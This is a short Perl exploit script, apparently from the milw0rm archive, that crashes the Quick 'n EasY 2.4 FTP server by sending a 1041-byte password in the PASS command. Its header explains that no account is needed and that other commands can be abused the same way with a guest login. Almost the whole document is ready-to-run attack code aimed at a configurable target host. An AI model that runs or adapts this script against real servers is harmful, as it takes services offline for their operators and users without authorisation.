Quick 'n EasY 2.4 FTP Server - Remote Denial of Service

#!/usr/local/bin/perl -w

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##   Quick 'n EasY VER 2.4 Ftp Server remote D.o.S
##         Discovered,exploited by KaGra
##	Tested on WinXP SP1 English version
## sENDING a big buffer in PASS,at least 1041 bytes
## will crash the sever,as long as the logfile on server
## is viewed or just at the time it will be viewed.This
## sploit works also for almost ALL commands (like APPE
## ,CWD etc),but as u understand,for them U should have at
## least a guest account.For this sploit,no account needed.
## PS:Many thankz to muts for the shellcode at Ability Server APPE sploit...
############################################################
############################################################


use Net::FTP;


$hostname = 'localhost'; 		#Remote Host to D.o.S!
$username = 'anonymous'; 		#AnythinG HeRe!

print "\n[*]BuiLDinG BuFfer...\n";

$password = 'A'x1041   ; 		#OverFlow BuffEr!
print "[*]ConnectinG To TarGet...\n";

$ftp = Net::FTP->new($hostname);        # Connecting...
print "[*]SenDing DeViL...\n\n";

$ftp->login($username, $password);      # Send EviL BuffeR...

$ftp->quit;
print "SerVer Has Been Dosed,will be Down if  LogFile is or will be viewed!\n";


# milw0rm.com [2004-10-24]